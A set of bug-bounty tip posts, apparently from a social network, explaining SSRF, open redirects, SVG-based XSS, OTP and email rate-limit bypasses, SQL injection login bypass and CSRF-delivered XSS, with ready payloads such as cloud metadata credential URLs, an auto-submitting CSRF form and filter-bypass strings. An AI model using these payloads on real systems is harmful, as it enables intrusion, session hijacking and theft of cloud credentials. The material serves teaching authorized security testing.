🕵️‍♂️ SSRF Vulnerability: Bug Hunting Tips + Step-by-Step Exploittion

Tags: #BugBounty #CyberSecurity #Pentesting #SSRF

🎯 What is SSRF?

Server-Side Request Forgery (SSRF) is a vulnerability that allows an attacker to make the server send crafted HTTP requests to arbitrary destinations, often internal services not directly exposed to the internet.

🛠️ Step-by-Step SSRF Exploitation Guide

1️⃣ Identify Input Points

Look for parameters such as:

url=, path=, redirect=, image=, load=, link=

2️⃣ Test External URLs

Try injecting public endpoints:

http://example.com  
http://<your-burp-collaborator>.net

Monitor DNS logs or HTTP interactions.

3️⃣ Test Internal IPs & Services

Test with internal hosts:

http://127.0.0.1  
http://localhost  
http://169.254.169.254 (AWS metadata)  
http://internal-service:8080

4️⃣ Use Encoding & Bypass Techniques

Some useful bypasses:

http://127.0.0.1:80@evil.com  
http://[::]  
http://127.1  
http://2130706433 (Integer format of 127.0.0.1)

5️⃣ Cloud Metadata Extraction

AWS:

http://169.254.169.254/latest/meta-data/iam/security-credentials/

GCP:

http://metadata.google.internal/computeMetadata/v1/

6️⃣ Out-of-Band Testing (OAST)

Use tools like:

• Burp Collaborator
• Interactsh

To detect Blind SSRF.

💡 Bonus Hunting Tips

• Check for image/pdf rendering endpoints
• SSRF is often hidden behind redirects, previews, and analytics
• Try chaining SSRF with RCE, LFI, or SSO bypass
• Probe internal ports for services like Redis, MongoDB, Elasticsearch

🔚 Final Note

Stay curious and creative while hunting. SSRF can often lead to full internal access if exploited correctly.

Found an SSRF bug recently? Let’s connect and share tips!
Happy hunting, hackers! 🐞🔥

🐞 Read Obfuscated JavaScript Code

When dealing with obfuscated JavaScript code, a .map file can be your best friend!

Scenario:

• Suppose you find a JavaScript file like xyz.bundle.js.
• It's obfuscated, making it difficult to read and analyze.

Solution:

• Check if a .map file exists, typically named xyz.bundle.js.map.
• Try accessing it using the same path:
  xyz.bundle.js.map

🔎 Why it Works?

• Source map files are often left accessible by mistake.
• They can reveal the original, readable code, including function names, variables, and comments — providing critical insights for bug hunting!

💡 Pro Tip:

• Always check for .map files during recon to uncover valuable information for further analysis.

Happy Hunting! 🕵️‍♂️

Open Redirection Exploitation! 🚨

When dealing with open redirection vulnerabilities, avoid simply replacing abc.pentesterhelper.in with obvious domains like evil.com or google.com. Many security measures can detect and block such attempts.

🛠️ Creative Bypassing Techniques:

Instead, try these clever methods to bypass weak validation checks:

• ✅ abc.1pentesterhelper.com
• ✅ abc.externalpentesterhelper.com
• ✅ pentesterhelper.com@evil.com (This may sometimes bypass URL validation)

🔎 Why It Works?

• Some poorly implemented validations only check if the domain starts with pentesterhelper.com.
• By keeping a similar domain structure, it increases your chances of bypassing weak or regex-based checks.

⚠️ Impact

• Users can be redirected to malicious sites.
• Phishing attacks become easier to execute.
• Sensitive information may be stolen.

Exploiting SVG File Uploads for XSS 🚨

If an application allows SVG file uploads, it may be vulnerable to XSS (Cross-Site Scripting). Try using the following payload:

🛠️ File Details:

• File Extension: .svg
• Payload:

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "https://lnkd.in/dBR8fsAs">

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
  <rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
  <script type="text/javascript">
    alert(document.cookie);
  </script>
</svg>

🔎 How it Works?

• The SVG file contains embedded JavaScript using the <script> tag.
• Upon rendering, the JavaScript executes in the browser's context.
• This may lead to the execution of malicious code, like stealing cookies.

⚠️ Impact

• Unauthorized access to sensitive information.
• Session hijacking via cookie theft.
• Defacement or further client-side attacks.

Bypassing OTP Rate-Limiting by Altering Phone Numbers 🔍

When testing OTP systems, check if you can bypass rate-limiting by modifying the phone number.

🛠️ How to Test It?

• If the system blocks repeated OTP requests for the same number, try changing a few digits at the end (e.g., from xxxxxxx627 to xxxxxxx634).
• If the request is still sent successfully, it indicates a rate-limiting bypass.
• This technique can allow attackers to generate an unlimited number of OTP requests.

⚠️ Impact

• Resource Drain: Excessive use of server resources.
• Financial Loss: Increased SMS or email costs.
• Service Disruption: Potential denial-of-service (DoS) attacks.

SQL Injection - Authentication Bypass in PHP 🚨

🔎 Vulnerability: SQL Injection

🎯 Target: Login Form

🔹 Payload Example:

• Username: xyz' OR '1'='1' #
• Password: (Leave blank)

🛠️ How it Works?

• The injected SQL condition '1'='1' always evaluates to true.
• This allows an attacker to bypass authentication without valid credentials.
• The # symbol acts as a comment, ignoring the rest of the SQL query.

⚠️ Impact

Unauthorized access to sensitive areas of the application can occur, leading to data breaches, system manipulation, and other malicious activities.

Bypassing Rate Limits on Emails 🐞

Here's an interesting bug I came across while testing for vulnerabilities:

💡 Scenario

If a system verifies whether an email like abcxyz@gmail.com exists, you can often bypass rate limits by adding a dot (.) within the email address. Examples include:

• abc.xyz@gmail.com
• a.bcxyz@gmail.com
• ab.cxyz@gmail.com

Any variation using a dot will work.

⚠️ Impact

Despite the modification, the system sends the OTP or verification email to the original abcxyz@gmail.com, as Gmail ignores dots in email addresses. This flaw allows attackers to bypass rate limits and potentially conduct malicious activities more efficiently.

Stay vigilant and report responsibly! 🚀

Exploiting XSS in POST Methods 🚨

When an XSS vulnerability can only be exploited through the POST method, a powerful approach is to combine it with CSRF (Cross-Site Request Forgery).

👉 Step 1: Craft an HTML form with a POST method

<!DOCTYPE html>
<html>
<body>
  <form action="https://lnkd.in/dawxUQpz" method="POST">
    <input type="hidden" name="user_input" value="<script>alert('XSS Exploit!');</script>">
    <input type="submit" value="Submit">
  </form>
  <script>
    document.forms[0].submit(); // Automatically submits the form to trigger the XSS
  </script>
</body>
</html>

👉 Step 2: Trigger the CSRF Attack

• When the target user visits your page, the hidden form is automatically submitted.
• The malicious XSS payload is then executed on the vulnerable website through a POST request.

By combining CSRF with XSS, you can exploit POST-based XSS vulnerabilities in real-world scenarios.

🚀 Always Test Responsibly

Ensure all tests are done in authorized environments and follow ethical hacking guidelines. Responsible disclosure is key to maintaining cybersecurity. Happy hunting!

Bypassing XSS Filters

When the characters <, >, (, and ) are sanitized, but " and ' are not, it is still possible to bypass restrictions using creative payloads.

Here are some examples:

• " onmouseover="alert('XSS')"
• " onmouseover=alert('XSS')"

These payloads trigger a JavaScript alert when the mouse hovers over the element. Be sure to test responsibly within the scope of your bug bounty program.